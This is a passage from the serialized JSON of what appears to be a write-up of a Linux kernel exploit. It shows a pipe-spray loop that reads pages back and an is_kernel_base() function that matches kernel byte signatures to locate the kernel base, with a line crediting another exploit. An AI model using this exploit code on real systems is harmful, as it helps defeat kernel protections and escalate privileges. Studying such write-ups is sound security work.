",{"type":23,"tag":314,"props":57931,"children":57932},{"style":354},[57933],{"type":28,"value":1130},{"type":23,"tag":314,"props":57935,"children":57936},{"style":1054},[57937],{"type":28,"value":3778},{"type":23,"tag":314,"props":57939,"children":57940},{"style":338},[57941],{"type":28,"value":2278},{"type":23,"tag":314,"props":57943,"children":57944},{"class":316,"line":1422},[57945],{"type":23,"tag":314,"props":57946,"children":57947},{"style":338},[57948],{"type":28,"value":9566},{"type":23,"tag":314,"props":57950,"children":57951},{"class":316,"line":1430},[57952,57957,57961,57965,57969,57973,57978,57982,57987,57991],{"type":23,"tag":314,"props":57953,"children":57954},{"style":338},[57955],{"type":28,"value":57956}," for (",{"type":23,"tag":314,"props":57958,"children":57959},{"style":321},[57960],{"type":28,"value":18285},{"type":23,"tag":314,"props":57962,"children":57963},{"style":360},[57964],{"type":28,"value":7876},{"type":23,"tag":314,"props":57966,"children":57967},{"style":354},[57968],{"type":28,"value":1237},{"type":23,"tag":314,"props":57970,"children":57971},{"style":1054},[57972],{"type":28,"value":1201},{"type":23,"tag":314,"props":57974,"children":57975},{"style":338},[57976],{"type":28,"value":57977},"; j ",{"type":23,"tag":314,"props":57979,"children":57980},{"style":354},[57981],{"type":28,"value":5060},{"type":23,"tag":314,"props":57983,"children":57984},{"style":338},[57985],{"type":28,"value":57986}," PIPE_SPRAY; j",{"type":23,"tag":314,"props":57988,"children":57989},{"style":354},[57990],{"type":28,"value":50520},{"type":23,"tag":314,"props":57992,"children":57993},{"style":338},[57994],{"type":28,"value":2414},{"type":23,"tag":314,"props":57996,"children":57997},{"class":316,"line":1452},[57998],{"type":23,"tag":314,"props":57999,"children":58000},{"style":338},[58001],{"type":28,"value":30906},{"type":23,"tag":314,"props":58003,"children":58004},{"class":316,"line":1497},[58005,58010,58014,58018,58023,58027],{"type":23,"tag":314,"props":58006,"children":58007},{"style":332},[58008],{"type":28,"value":58009}," memset",{"type":23,"tag":314,"props":58011,"children":58012},{"style":338},[58013],{"type":28,"value":341},{"type":23,"tag":314,"props":58015,"children":58016},{"style":354},[58017],{"type":28,"value":1833},{"type":23,"tag":314,"props":58019,"children":58020},{"style":338},[58021],{"type":28,"value":58022},"data, ",{"type":23,"tag":314,"props":58024,"children":58025},{"style":1054},[58026],{"type":28,"value":1600},{"type":23,"tag":314,"props":58028,"children":58029},{"style":338},[58030],{"type":28,"value":58031},", PAGE_SIZE);\n",{"type":23,"tag":314,"props":58033,"children":58034},{"class":316,"line":1539},[58035,58040],{"type":23,"tag":314,"props":58036,"children":58037},{"style":321},[58038],{"type":28,"value":58039}," int",{"type":23,"tag":314,"props":58041,"children":58042},{"style":338},[58043],{"type":28,"value":58044}," count;\n",{"type":23,"tag":314,"props":58046,"children":58047},{"class":316,"line":1548},[58048,58053,58058,58062,58067,58071,58076,58081,58085,58089,58093,58098,58102,58106],{"type":23,"tag":314,"props":58049,"children":58050},{"style":2284},[58051],{"type":28,"value":58052}," if",{"type":23,"tag":314,"props":58054,"children":58055},{"style":338},[58056],{"type":28,"value":58057}," (count ",{"type":23,"tag":314,"props":58059,"children":58060},{"style":354},[58061],{"type":28,"value":1102},{"type":23,"tag":314,"props":58063,"children":58064},{"style":332},[58065],{"type":28,"value":58066}," read",{"type":23,"tag":314,"props":58068,"children":58069},{"style":338},[58070],{"type":28,"value":341},{"type":23,"tag":314,"props":58072,"children":58073},{"style":360},[58074],{"type":28,"value":58075},"pfd",{"type":23,"tag":314,"props":58077,"children":58078},{"style":338},[58079],{"type":28,"value":58080},"[j][",{"type":23,"tag":314,"props":58082,"children":58083},{"style":1054},[58084],{"type":28,"value":1600},{"type":23,"tag":314,"props":58086,"children":58087},{"style":338},[58088],{"type":28,"value":22298},{"type":23,"tag":314,"props":58090,"children":58091},{"style":354},[58092],{"type":28,"value":1833},{"type":23,"tag":314,"props":58094,"children":58095},{"style":338},[58096],{"type":28,"value":58097},"data, PAGE_SIZE) ",{"type":23,"tag":314,"props":58099,"children":58100},{"style":354},[58101],{"type":28,"value":5060},{"type":23,"tag":314,"props":58103,"children":58104},{"style":1054},[58105],{"type":28,"value":1201},{"type":23,"tag":314,"props":58107,"children":58108},{"style":338},[58109],{"type":28,"value":2414},{"type":23,"tag":314,"props":58111,"children":58112},{"class":316,"line":1584},[58113],{"type":23,"tag":314,"props":58114,"children":58115},{"style":338},[58116],{"type":28,"value":30942},{"type":23,"tag":314,"props":58118,"children":58119},{"class":316,"line":1617},[58120,58125],{"type":23,"tag":314,"props":58121,"children":58122},{"style":2284},[58123],{"type":28,"value":58124}," continue",{"type":23,"tag":314,"props":58126,"children":58127},{"style":338},[58128],{"type":28,"value":2278},{"type":23,"tag":314,"props":58130,"children":58131},{"class":316,"line":1625},[58132],{"type":23,"tag":314,"props":58133,"children":58134},{"style":338},[58135],{"type":28,"value":58136}," }\n",{"type":23,"tag":314,"props":58138,"children":58139},{"class":316,"line":1660},[58140],{"type":23,"tag":314,"props":58141,"children":58142},{"style":338},[58143],{"type":28,"value":9566},{"type":23,"tag":314,"props":58145,"children":58146},{"class":316,"line":1708},[58147],{"type":23,"tag":314,"props":58148,"children":58149},{"emptyLinePlaceholder":18},[58150],{"type":28,"value":1088},{"type":23,"tag":314,"props":58152,"children":58153},{"class":316,"line":1743},[58154,58159,58164,58168,58172],{"type":23,"tag":314,"props":58155,"children":58156},{"style":338},[58157],{"type":28,"value":58158}," if (",{"type":23,"tag":314,"props":58160,"children":58161},{"style":2674},[58162],{"type":28,"value":58163},"is_kernel_base",{"type":23,"tag":314,"props":58165,"children":58166},{"style":338},[58167],{"type":28,"value":341},{"type":23,"tag":314,"props":58169,"children":58170},{"style":2674},[58171],{"type":28,"value":249},{"type":23,"tag":314,"props":58173,"children":58174},{"style":338},[58175],{"type":28,"value":58176},")) // [1] identify kernel base\n",{"type":23,"tag":314,"props":58178,"children":58179},{"class":316,"line":1751},[58180],{"type":23,"tag":314,"props":58181,"children":58182},{"style":338},[58183],{"type":28,"value":30942},{"type":23,"tag":314,"props":58185,"children":58186},{"class":316,"line":1791},[58187,58192,58196,58200],{"type":23,"tag":314,"props":58188,"children":58189},{"style":338},[58190],{"type":28,"value":58191}," found ",{"type":23,"tag":314,"props":58193,"children":58194},{"style":354},[58195],{"type":28,"value":1102},{"type":23,"tag":314,"props":58197,"children":58198},{"style":321},[58199],{"type":28,"value":11717},{"type":23,"tag":314,"props":58201,"children":58202},{"style":338},[58203],{"type":28,"value":2278},{"type":23,"tag":314,"props":58205,"children":58206},{"class":316,"line":1805},[58207,58212],{"type":23,"tag":314,"props":58208,"children":58209},{"style":2284},[58210],{"type":28,"value":58211}," break",{"type":23,"tag":314,"props":58213,"children":58214},{"style":338},[58215],{"type":28,"value":2278},{"type":23,"tag":314,"props":58217,"children":58218},{"class":316,"line":1818},[58219],{"type":23,"tag":314,"props":58220,"children":58221},{"style":338},[58222],{"type":28,"value":58136},{"type":23,"tag":314,"props":58224,"children":58225},{"class":316,"line":1873},[58226],{"type":23,"tag":314,"props":58227,"children":58228},{"style":338},[58229],{"type":28,"value":2602},{"type":23,"tag":314,"props":58231,"children":58232},{"class":316,"line":1891},[58233],{"type":23,"tag":314,"props":58234,"children":58235},{"emptyLinePlaceholder":18},[58236],{"type":28,"value":1088},{"type":23,"tag":314,"props":58238,"children":58239},{"class":316,"line":1899},[58240],{"type":23,"tag":314,"props":58241,"children":58242},{"style":338},[58243],{"type":28,"value":9566},{"type":23,"tag":24,"props":58245,"children":58246},{},[58247,58249,58253,58255,58261,58263,58267],{"type":28,"value":58248},"Notice that at ",{"type":23,"tag":314,"props":58250,"children":58251},{},[58252],{"type":28,"value":3267},{"type":28,"value":58254}," we call the ",{"type":23,"tag":94,"props":58256,"children":58258},{"className":58257},[],[58259],{"type":28,"value":58260},"is_kernel_base()",{"type":28,"value":58262}," function. This is a function based on lau's exploit ",{"type":23,"tag":314,"props":58264,"children":58265},{},[58266],{"type":28,"value":1317},{"type":28,"value":58268}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":23,"tag":304,"props":58270,"children":58272},{"className":28358,"code":58271,"language":28360,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n // thanks lau :)\n\n // get-sig kernel_runtime_1\n if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n return true;\n\n // get-sig kernel_runtime_2\n if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n return true;\n\n return false;\n}\n[...]\n",[58273],{"type":23,"tag":94,"props":58274,"children":58275},{"__ignoreMap":7},[58276,58283,58313,58320,58328,58335,58343,58414,58476,58491,58498,58506,58574,58636,58697,58758,58820,58882,58943,59004,59065,59126,59187,59202,59209,59224,59231],{"type":23,"tag":314,"props":58277,"children":58278},{"class":316,"line":317},[58279],{"type":23,"tag":314,"props":58280,"children":58281},{"style":338},[58282],{"type":28,"value":9566},{"type":23,"tag":314,"props":58284,"children":58285},{"class":316,"line":370},[58286,58291,58296,58301,58305,58309],{"type":23,"tag":314,"props":58287,"children":58288},{"style":338},[58289],{"type":28,"value":58290},"static bool is_kernel_base(",{"type":23,"tag":314,"props":58292,"children":58293},{"style":321},[58294],{"type":28,"value":58295},"unsigned",{"type":23,"tag":314,"props":58297,"children":58298},{"style":321},[58299],{"type":28,"value":58300}," char",{"type":23,"tag":314,"props":58302,"children":58303},{"style":321},[58304],{"type":28,"value":357},{"type":23,"tag":314,"props":58306,"children":58307},{"style":360},[58308],{"type":28,"value":29936},{"type":23,"tag":314,"props":58310,"children":58311},{"style":338},[58312],{"type":28,"value":2414},{"type":23,"tag":314,"props":58314,"children":58315},{"class":316,"line":380},[58316],{"type":23,"tag":314,"props":58317,"children":58318},{"style":338},[58319],{"type":28,"value":10129},{"type":23,"tag":314,"props":58321,"children":58322},{"class":316,"line":1091},[58323],{"type":23,"tag":314,"props":58324,"children":58325},{"style":374},[58326],{"type":28,"value":58327}," // thanks lau :)\n",{"type":23,"tag":314,"props":58329,"children":58330},{"class":316,"line":1141},[58331],{"type":23,"tag":314,"props":58332,"children":58333},{"emptyLinePlaceholder":18},[58334],{"type":28,"value":1088},{"type":23,"tag":314,"props":58336,"children":58337},{"class":316,"line":1173},[58338],{"type":23,"tag":314,"props":58339,"children":58340},{"style":374},[58341],{"type":28,"value":58342}," // get-sig kernel_runtime_1\n",{"type":23,"tag":314,"props":58344,"children":58345},{"class":316,"line":1208},[58346,58350,58354,58359,58364,58368,58373,58377,58381,58386,58390,58394,58398,58402,58406,58410],{"type":23,"tag":314,"props":58347,"children":58348},{"style":2284},[58349],{"type":28,"value":11527},{"type":23,"tag":314,"props":58351,"children":58352},{"style":338},[58353],{"type":28,"value":2324},{"type":23,"tag":314,"props":58355,"children":58356},{"style":332},[58357],{"type":28,"value":58358},"memcmp",{"type":23,"tag":314,"props":58360,"children":58361},{"style":338},[58362],{"type":28,"value":58363},"(addr ",{"type":23,"tag":314,"props":58365,"children":58366},{"style":354},[58367],{"type":28,"value":1130},{"type":23,"tag":314,"props":58369,"children":58370},{"style":1054},[58371],{"type":28,"value":58372}," 0x0",{"type":23,"tag":314,"props":58374,"children":58375},{"style":338},[58376],{"type":28,"value":778},{"type":23,"tag":314,"props":58378,"children":58379},{"style":1245},[58380],{"type":28,"value":19297},{"type":23,"tag":314,"props":58382,"children":58383},{"style":47623},[58384],{"type":28,"value":58385},"\\x48\\x8d\\x25\\x51\\x3f",{"type":23,"tag":314,"props":58387,"children":58388},{"style":1245},[58389],{"type":28,"value":19297},{"type":23,"tag":314,"props":58391,"children":58392},{"style":338},[58393],{"type":28,"value":778},{"type":23,"tag":314,"props":58395,"children":58396},{"style":1054},[58397],{"type":28,"value":1317},{"type":23,"tag":314,"props":58399,"children":58400},{"style":338},[58401],{"type":28,"value":2343},{"type":23,"tag":314,"props":58403,"children":58404},{"style":354},[58405],{"type":28,"value":7828},{"type":23,"tag":314,"props":58407,"children":58408},{"style":1054},[58409],{"type":28,"value":1201},{"type":23,"tag":314,"props":58411,"children":58412},{"style":354},[58413],{"type":28,"value":51935},{"type":23,"tag":314,"props":58415,"children":58416},{"class":316,"line":1216},[58417,58422,58426,58430,58435,58439,58443,58448,58452,58456,58460,58464,58468,58472],{"type":23,"tag":314,"props":58418,"children":58419},{"style":332},[58420],{"type":28,"value":58421}," memcmp",{"type":23,"tag":314,"props":58423,"children":58424},{"style":338},[58425],{"type":28,"value":58363},{"type":23,"tag":314,"props":58427,"children":58428},{"style":354},[58429],{"type":28,"value":1130},{"type":23,"tag":314,"props":58431,"children":58432},{"style":1054},[58433],{"type":28,"value":58434}," 0x7",{"type":23,"tag":314,"props":58436,"children":58437},{"style":338},[58438],{"type":28,"value":778},{"type":23,"tag":314,"props":58440,"children":58441},{"style":1245},[58442],{"type":28,"value":19297},{"type":23,"tag":314,"props":58444,"children":58445},{"style":47623},[58446],{"type":28,"value":58447},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":23,"tag":314,"props":58449,"children":58450},{"style":1245},[58451],{"type":28,"value":19297},{"type":23,"tag":314,"props":58453,"children":58454},{"style":338},[58455],{"type":28,"value":778},{"type":23,"tag":314,"props":58457,"children":58458},{"style":1054},[58459],{"type":28,"value":53922},{"type":23,"tag":314,"props":58461,"children":58462},{"style":338},[58463],{"type":28,"value":2343},{"type":23,"tag":314,"props":58465,"children":58466},{"style":354},[58467],{"type":28,"value":7828},{"type":23,"tag":314,"props":58469,"children":58470},{"style":1054},[58471],{"type":28,"value":1201},{"type":23,"tag":314,"props":58473,"children":58474},{"style":338},[58475],{"type":28,"value":2414},{"type":23,"tag":314,"props":58477,"children":58478},{"class":316,"line":1301},[58479,58483,58487],{"type":23,"tag":314,"props":58480,"children":58481},{"style":2284},[58482],{"type":28,"value":14985},{"type":23,"tag":314,"props":58484,"children":58485},{"style":321},[58486],{"type":28,"value":11717},{"type":23,"tag":314,"props":58488,"children":58489},{"style":338},[58490],{"type":28,"value":2278},{"type":23,"tag":314,"props":58492,"children":58493},{"class":316,"line":1343},[58494],{"type":23,"tag":314,"props":58495,"children":58496},{"emptyLinePlaceholder":18},[58497],{"type":28,"value":1088},{"type":23,"tag":314,"props":58499,"children":58500},{"class":316,"line":1351},[58501],{"type":23,"tag":314,"props":58502,"children":58503},{"style":374},[58504],{"type":28,"value":58505}," // get-sig kernel_runtime_2\n",{"type":23,"tag":314,"props":58507,"children":58508},{"class":316,"line":1387},[58509,58513,58517,58521,58525,58529,58533,58537,58541,58546,58550,58554,58558,58562,58566,58570],{"type":23,"tag":314,"props":58510,"children":58511},{"style":2284},[58512],{"type":28,"value":11527},{"type":23,"tag":314,"props":58514,"children":58515},{"style":338},[58516],{"type":28,"value":2324},{"type":23,"tag":314,"props":58518,"children":58519},{"style":332},[58520],{"type":28,"value":58358},{"type":23,"tag":314,"props":58522,"children":58523},{"style":338},[58524],{"type":28,"value":58363},{"type":23,"tag":314,"props":58526,"children":58527},{"style":354},[58528],{"type":28,"value":1130},{"type":23,"tag":314,"props":58530,"children":58531},{"style":1054},[58532],{"type":28,"value":58372},{"type":23,"tag":314,"props":58534,"children":58535},{"style":338},[58536],{"type":28,"value":778},{"type":23,"tag":314,"props":58538,"children":58539},{"style":1245},[58540],{"type":28,"value":19297},{"type":23,"tag":314,"props":58542,"children":58543},{"style":47623},[58544],{"type":28,"value":58545},"\\xfc\\x0f\\x01\\x15",{"type":23,"tag":314,"props":58547,"children":58548},{"style":1245},[58549],{"type":28,"value":19297},{"type":23,"tag":314,"props":58551,"children":58552},{"style":338},[58553],{"type":28,"value":778},{"type":23,"tag":314,"props":58555,"children":58556},{"style":1054},[58557],{"type":28,"value":1567},{"type":23,"tag":314,"props":58559,"children":58560},{"style":338},[58561],{"type":28,"value":2343},{"type":23,"tag":314,"props":58563,"children":58564},{"style":354},[58565],{"type":28,"value":7828},{"type":23,"tag":314,"props":58567,"children":58568},{"style":1054},[58569],{"type":28,"value":1201},{"type":23,"tag":314,"props":58571,"children":58572},{"style":354},[58573],{"type":28,"value":51935},{"type":23,"tag":314,"props":58575,"children":58576},{"class":316,"line":1422},[58577,58581,58585,58589,58594,58598,58602,58607,58611,58615,58620,58624,58628,58632],{"type":23,"tag":314,"props":58578,"children":58579},{"style":332},[58580],{"type":28,"value":58421},{"type":23,"tag":314,"props":58582,"children":58583},{"style":338},[58584],{"type":28,"value":58363},{"type":23,"tag":314,"props":58586,"children":58587},{"style":354},[58588],{"type":28,"value":1130},{"type":23,"tag":314,"props":58590,"children":58591},{"style":1054},[58592],{"type":28,"value":58593}," 0x8",{"type":23,"tag":314,"props":58595,"children":58596},{"style":338},[58597],{"type":28,"value":778},{"type":23,"tag":314,"props":58599,"children":58600},{"style":1245},[58601],{"type":28,"value":19297},{"type":23,"tag":314,"props":58603,"children":58604},{"style":47623},[58605],{"type":28,"value":58606},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":23,"tag":314,"props":58608,"children":58609},{"style":1245},[58610],{"type":28,"value":19297},{"type":23,"tag":314,"props":58612,"children":58613},{"style":338},[58614],{"type":28,"value":778},{"type":23,"tag":314,"props":58616,"children":58617},{"style":1054},[58618],{"type":28,"value":58619},"12",{"type":23,"tag":314,"props":58621,"children":58622},{"style":338},[58623],{"type":28,"value":2343},{"type":23,"tag":314,"props":58625,"children":58626},{"style":354},[58627],{"type":28,"value":7828},{"type":23,"tag":314,"props":58629,"children":58630},{"style":1054},[58631],{"type":28,"value":1201},{"type":23,"tag":314,"props":58633,"children":58634},{"style":354},[58635],{"type":28,"value":51935},{"type":23,"tag":314,"props":58637,"children":58638},{"class":316,"line":1430},[58639,58643,58647,58651,58656,58660,58664,58669,58673,58677,58681,58685,58689,58693],{"type":23,"tag":314,"props":58640,"children":58641},{"style":332},[58642],{"type":28,"value":58421},{"type":23,"tag":314,"props":58644,"children":58645},{"style":338},[58646],{"type":28,"value":58363},{"type":23,"tag":314,"props":58648,"children":58649},{"style":354},[58650],{"type":28,"value":1130},{"type":23,"tag":314,"props":58652,"children":58653},{"style":1054},[58654],{"type":28,"value":58655}," 0x18",{"type":23,"tag":314,"props":58657,"children":58658},{"style":338},[58659],{"type":28,"value":778},{"type":23,"tag":314,"props":58661,"children":58662},{"style":1245},[58663],{"type":28,"value":19297},{"type":23,"tag":314,"props":58665,"children":58666},{"style":47623},[58667],{"type":28,"value":58668},"\\x89\\xde\\x8b\\x0d",{"type":23,"tag":314,"props":58670,"children":58671},{"style":1245},[58672],{"type":28,"value":19297},{"type":23,"tag":314,"props":58674,"children":58675},{"style":338},[58676],{"type":28,"value":778},{"type":23,"tag":314,"props":58678,"children":58679},{"style":1054},[58680],{"type":28,"value":1567},{"type":23,"tag":314,"props":58682,"children":58683},{"style":338},[58684],{"type":28,"value":2343},{"type":23,"tag":314,"props":58686,"children":58687},{"style":354},[58688],{"type":28,"value":7828},{"type":23,"tag":314,"props":58690,"children":58691},{"style":1054},[58692],{"type":28,"value":1201},{"type":23,"tag":314,"props":58694,"children":58695},{"style":354},[58696],{"type":28,"value":51935},{"type":23,"tag":314,"props":58698,"children":58699},{"class":316,"line":1452},[58700,58704,58708,58712,58717,58721,58725,58730,58734,58738,58742,58746,58750,58754],{"type":23,"tag":314,"props":58701,"children":58702},{"style":332},[58703],{"type":28,"value":58421},{"type":23,"tag":314,"props":58705,"children":58706},{"style":338},[58707],{"type":28,"value":58363},{"type":23,"tag":314,"props":58709,"children":58710},{"style":354},[58711],{"type":28,"value":1130},{"type":23,"tag":314,"props":58713,"children":58714},{"style":1054},[58715],{"type":28,"value":58716}," 0x20",{"type":23,"tag":314,"props":58718,"children":58719},{"style":338},[58720],{"type":28,"value":778},{"type":23,"tag":314,"props":58722,"children":58723},{"style":1245},[58724],{"type":28,"value":19297},{"type":23,"tag":314,"props":58726,"children":58727},{"style":47623},[58728],{"type":28,"value":58729},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":23,"tag":314,"props":58731,"children":58732},{"style":1245},[58733],{"type":28,"value":19297},{"type":23,"tag":314,"props":58735,"children":58736},{"style":338},[58737],{"type":28,"value":778},{"type":23,"tag":314,"props":58739,"children":58740},{"style":1054},[58741],{"type":28,"value":17658},{"type":23,"tag":314,"props":58743,"children":58744},{"style":338},[58745],{"type":28,"value":2343},{"type":23,"tag":314,"props":58747,"children":58748},{"style":354},[58749],{"type":28,"value":7828},{"type":23,"tag":314,"props":58751,"children":58752},{"style":1054},[58753],{"type":28,"value":1201},{"type":23,"tag":314,"props":58755,"children":58756},{"style":354},[58757],{"type":28,"value":51935},{"type":23,"tag":314,"props":58759,"children":58760},{"class":316,"line":1497},[58761,58765,58769,58773,58778,58782,58786,58791,58795,58799,58804,58808,58812,58816],{"type":23,"tag":314,"props":58762,"children":58763},{"style":332},[58764],{"type":28,"value":58421},{"type":23,"tag":314,"props":58766,"children":58767},{"style":338},[58768],{"type":28,"value":58363},{"type":23,"tag":314,"props":58770,"children":58771},{"style":354},[58772],{"type":28,"value":1130},{"type":23,"tag":314,"props":58774,"children":58775},{"style":1054},[58776],{"type":28,"value":58777}," 0x2a",{"type":23,"tag":314,"props":58779,"children":58780},{"style":338},[58781],{"type":28,"value":778},{"type":23,"tag":314,"props":58783,"children":58784},{"style":1245},[58785],{"type":28,"value":19297},{"type":23,"tag":314,"props":58787,"children":58788},{"style":47623},[58789],{"type":28,"value":58790},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":23,"tag":314,"props":58792,"children":58793},{"style":1245},[58794],{"type":28,"value":19297},{"type":23,"tag":314,"props":58796,"children":58797},{"style":338},[58798],{"type":28,"value":778},{"type":23,"tag":314,"props":58800,"children":58801},{"style":1054},[58802],{"type":28,"value":58803},"24",{"type":23,"tag":314,"props":58805,"children":58806},{"style":338},[58807],{"type":28,"value":2343},{"type":23,"tag":314,"props":58809,"children":58810},{"style":354},[58811],{"type":28,"value":7828},{"type":23,"tag":314,"props":58813,"children":58814},{"style":1054},[58815],{"type":28,"value":1201},{"type":23,"tag":314,"props":58817,"children":58818},{"style":354},[58819],{"type":28,"value":51935},{"type":23,"tag":314,"props":58821,"children":58822},{"class":316,"line":1539},[58823,58827,58831,58835,58840,58844,58848,58853,58857,58861,58866,58870,58874,58878],{"type":23,"tag":314,"props":58824,"children":58825},{"style":332},[58826],{"type":28,"value":58421},{"type":23,"tag":314,"props":58828,"children":58829},{"style":338},[58830],{"type":28,"value":58363},{"type":23,"tag":314,"props":58832,"children":58833},{"style":354},[58834],{"type":28,"value":1130},{"type":23,"tag":314,"props":58836,"children":58837},{"style":1054},[58838],{"type":28,"value":58839}," 0x45",{"type":23,"tag":314,"props":58841,"children":58842},{"style":338},[58843],{"type":28,"value":778},{"type":23,"tag":314,"props":58845,"children":58846},{"style":1245},[58847],{"type":28,"value":19297},{"type":23,"tag":314,"props":58849,"children":58850},{"style":47623},[58851],{"type":28,"value":58852},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":23,"tag":314,"props":58854,"children":58855},{"style":1245},[58856],{"type":28,"value":19297},{"type":23,"tag":314,"props":58858,"children":58859},{"style":338},[58860],{"type":28,"value":778},{"type":23,"tag":314,"props":58862,"children":58863},{"style":1054},[58864],{"type":28,"value":58865},"15",{"type":23,"tag":314,"props":58867,"children":58868},{"style":338},[58869],{"type":28,"value":2343},{"type":23,"tag":314,"props":58871,"children":58872},{"style":354},[58873],{"type":28,"value":7828},{"type":23,"tag":314,"props":58875,"children":58876},{"style":1054},[58877],{"type":28,"value":1201},{"type":23,"tag":314,"props":58879,"children":58880},{"style":354},[58881],{"type":28,"value":51935},{"type":23,"tag":314,"props":58883,"children":58884},{"class":316,"line":1548},[58885,58889,58893,58897,58902,58906,58910,58915,58919,58923,58927,58931,58935,58939],{"type":23,"tag":314,"props":58886,"children":58887},{"style":332},[58888],{"type":28,"value":58421},{"type":23,"tag":314,"props":58890,"children":58891},{"style":338},[58892],{"type":28,"value":58363},{"type":23,"tag":314,"props":58894,"children":58895},{"style":354},[58896],{"type":28,"value":1130},{"type":23,"tag":314,"props":58898,"children":58899},{"style":1054},[58900],{"type":28,"value":58901}," 0x55",{"type":23,"tag":314,"props":58903,"children":58904},{"style":338},[58905],{"type":28,"value":778},{"type":23,"tag":314,"props":58907,"children":58908},{"style":1245},[58909],{"type":28,"value":19297},{"type":23,"tag":314,"props":58911,"children":58912},{"style":47623},[58913],{"type":28,"value":58914},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":23,"tag":314,"props":58916,"children":58917},{"style":1245},[58918],{"type":28,"value":19297},{"type":23,"tag":314,"props":58920,"children":58921},{"style":338},[58922],{"type":28,"value":778},{"type":23,"tag":314,"props":58924,"children":58925},{"style":1054},[58926],{"type":28,"value":3330},{"type":23,"tag":314,"props":58928,"children":58929},{"style":338},[58930],{"type":28,"value":2343},{"type":23,"tag":314,"props":58932,"children":58933},{"style":354},[58934],{"type":28,"value":7828},{"type":23,"tag":314,"props":58936,"children":58937},{"style":1054},[58938],{"type":28,"value":1201},{"type":23,"tag":314,"props":58940,"children":58941},{"style":354},[58942],{"type":28,"value":51935},{"type":23,"tag":314,"props":58944,"children":58945},{"class":316,"line":1584},[58946,58950,58954,58958,58963,58967,58971,58976,58980,58984,58988,58992,58996,59000],{"type":23,"tag":314,"props":58947,"children":58948},{"style":332},[58949],{"type":28,"value":58421},{"type":23,"tag":314,"props":58951,"children":58952},{"style":338},[58953],{"type":28,"value":58363},{"type":23,"tag":314,"props":58955,"children":58956},{"style":354},[58957],{"type":28,"value":1130},{"type":23,"tag":314,"props":58959,"children":58960},{"style":1054},[58961],{"type":28,"value":58962}," 0x61",{"type":23,"tag":314,"props":58964,"children":58965},{"style":338},[58966],{"type":28,"value":778},{"type":23,"tag":314,"props":58968,"children":58969},{"style":1245},[58970],{"type":28,"value":19297},{"type":23,"tag":314,"props":58972,"children":58973},{"style":47623},[58974],{"type":28,"value":58975},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":23,"tag":314,"props":58977,"children":58978},{"style":1245},[58979],{"type":28,"value":19297},{"type":23,"tag":314,"props":58981,"children":58982},{"style":338},[58983],{"type":28,"value":778},{"type":23,"tag":314,"props":58985,"children":58986},{"style":1054},[58987],{"type":28,"value":1317},{"type":23,"tag":314,"props":58989,"children":58990},{"style":338},[58991],{"type":28,"value":2343},{"type":23,"tag":314,"props":58993,"children":58994},{"style":354},[58995],{"type":28,"value":7828},{"type":23,"tag":314,"props":58997,"children":58998},{"style":1054},[58999],{"type":28,"value":1201},{"type":23,"tag":314,"props":59001,"children":59002},{"style":354},[59003],{"type":28,"value":51935},{"type":23,"tag":314,"props":59005,"children":59006},{"class":316,"line":1617},[59007,59011,59015,59019,59024,59028,59032,59037,59041,59045,59049,59053,59057,59061],{"type":23,"tag":314,"props":59008,"children":59009},{"style":332},[59010],{"type":28,"value":58421},{"type":23,"tag":314,"props":59012,"children":59013},{"style":338},[59014],{"type":28,"value":58363},{"type":23,"tag":314,"props":59016,"children":59017},{"style":354},[59018],{"type":28,"value":1130},{"type":23,"tag":314,"props":59020,"children":59021},{"style":1054},[59022],{"type":28,"value":59023}," 